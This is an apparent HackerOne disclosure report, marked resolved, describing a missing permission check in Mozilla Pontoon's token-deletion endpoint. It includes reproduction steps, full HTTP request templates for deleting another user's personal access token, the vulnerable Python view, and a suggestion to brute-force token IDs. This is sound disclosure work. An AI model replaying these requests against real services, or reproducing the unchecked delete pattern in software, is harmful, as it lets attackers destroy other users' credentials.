User Can Delete Other Users' Personal Access Tokens at /delete-token/{token_id}/ on Mozilla Pontoon
Low
Vulnerability Details
Hi team, while reviewing the Mozilla Pontoon source code, I have found that a new feature has been added to `Generate` and `Delete` Personal Access Tokens for the Rest API. To `Delete` a token, a user sends a `POST` request to `/delete-token/{token_id}/` endpoint with the numeric token ID. The developer forgot to put a check on user permissions at this endpoint, which allows a user to delete anyone's Personal Access Token.
## Steps To Reproduce:
- Log in to your `Victim` account at `https://mozilla-pontoon-staging.herokuapp.com/`.
- On the top right corner, click on your `profile icon` and from the dropdown menu, click on `settings`.
███████
- Prepare your proxy, like `Burp Suite`, to capture incoming requests and change your display name.
████
- In proxy history, you will find a `POST` request to the `/settings` endpoint.
███████
- Copy your `cookies` and `csrfmiddlewaretoken` from that request.
███████
- Replace the `cookies `, `csrfmiddlewaretoken`, and use this request.
```
POST /generate-token/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: {your cookies here}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mozilla-pontoon-staging.herokuapp.com/settings/
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
csrfmiddlewaretoken={your csrf token here}&name=adil
```
- Upon sending the request, you will get your personal access token details in response.
████
- Note the `new_token_id`.
- Now log in to your `attacker` account and repeat the same steps to get your `attacker` account `cookies` and `csrfmiddlewaretoken`.
- Replace your `Attacker` `Cookies`, `csrfmiddlewaretoken`, and `Victim token id that you have noted in the above step` in this request.
```
POST /delete-token/{Victim Token Id Here}/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: {Attacker Cookies Here}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mozilla-pontoon-staging.herokuapp.com/settings/
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
csrfmiddlewaretoken={Attacker CSRF Token Here}
```
- Upon sending this request, you will get a `200 OK` response with a `Token Successfully Deleted` message.
███
- Here is the code responsible for this vulnerability.
**Link:** `https://github.com/mozilla/pontoon/blob/main/pontoon/contributors/views.py#L505-L523`
```python
def delete_token(request, token_id):
try:
token = PersonalAccessToken.objects.get(id=token_id)
token.delete()
return JsonResponse(
{
"status": "success",
"message": "Token deleted successfully!",
}
)
except PersonalAccessToken.DoesNotExist:
return JsonResponse(
{"status": "error", "message": "Token not found."}, status=404
)
```
- You can see that this code isn't checking for user permission.
## Impact
An attacker can use a Brute Force tool, such as Burp Intruder, to delete a massive amount of tokens.
Actions
View on HackerOneReport Stats
- Report ID: 3325582
- State: Closed
- Substate: resolved